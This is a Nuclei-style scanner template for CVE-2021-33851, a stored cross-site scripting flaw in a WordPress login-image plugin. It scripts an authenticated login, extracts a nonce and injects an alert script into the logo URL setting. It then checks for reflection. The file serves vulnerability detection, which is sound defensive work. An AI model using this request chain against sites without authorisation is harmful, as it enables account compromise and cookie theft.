67 lines
2.4 KiB
YAML
67 lines
2.4 KiB
YAML
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id: CVE-2021-33851
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info:
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name: WordPress Customize Login Image <3.5.3 - Cross-Site Scripting
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author: 8authur
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severity: medium
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description: |
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WordPress Customize Login Image plugin prior to 3.5.3 contains a cross-site scripting vulnerability via the custom logo link on the Settings page. This can allow an attacker to steal cookie-based authentication credentials and launch other attacks.
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reference:
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- https://wpscan.com/vulnerability/c67753fb-9111-453e-951f-854c6ce31203
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- https://cybersecurityworks.com/zerodays/cve-2021-33851-stored-cross-site-scripting-in-wordpress-customize-login-image.html
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- https://wordpress.org/plugins/customize-login-image/
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- https://nvd.nist.gov/vuln/detail/cve-2021-33851
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
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cvss-score: 5.4
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cve-id: CVE-2021-33851
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cwe-id: CWE-79
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metadata:
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verified: "true"
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tags: wpscan,cve2021,wordpress,customize-login-image,wp,authenticated,cve,wp-plugin,xss
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http:
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- raw:
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- |
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POST /wp-login.php HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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log={{username}}&pwd={{password}}&wp-submit=Log+In
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- |
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GET /wp-admin/options-general.php?page=customize-login-image/customize-login-image-options.php HTTP/1.1
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Host: {{Hostname}}
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- |
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POST /wp-admin/options.php HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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option_page=customize-login-image-settings-group&action=update&_wpnonce={{nonce}}&_wp_http_referer=%2Fwordpress%2Fwp-admin%2Foptions-general.php%3Fpage%3Dcustomize-login-image%252Fcustomize-login-image-options.php%26settings-updated%3Dtrue&cli_logo_url=<script>alert(document.domain)</script>&cli_logo_file=&cli_login_background_color=&cli_custom_css=
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- |
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GET /wp-login.php HTTP/1.1
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Host: {{Hostname}}
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cookie-reuse: true
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req-condition: true
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matchers:
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- type: dsl
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dsl:
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- 'status_code_4 == 200'
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- 'contains(all_headers_4, "text/html")'
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- 'contains(body_4, "Go to <script>alert(document.domain)</script>")'
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condition: and
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extractors:
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- type: regex
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name: nonce
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part: body
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group: 1
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regex:
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- 'name="_wpnonce" value="([0-9a-zA-Z]+)"'
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internal: true
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# Enhanced by md on 2022/12/08
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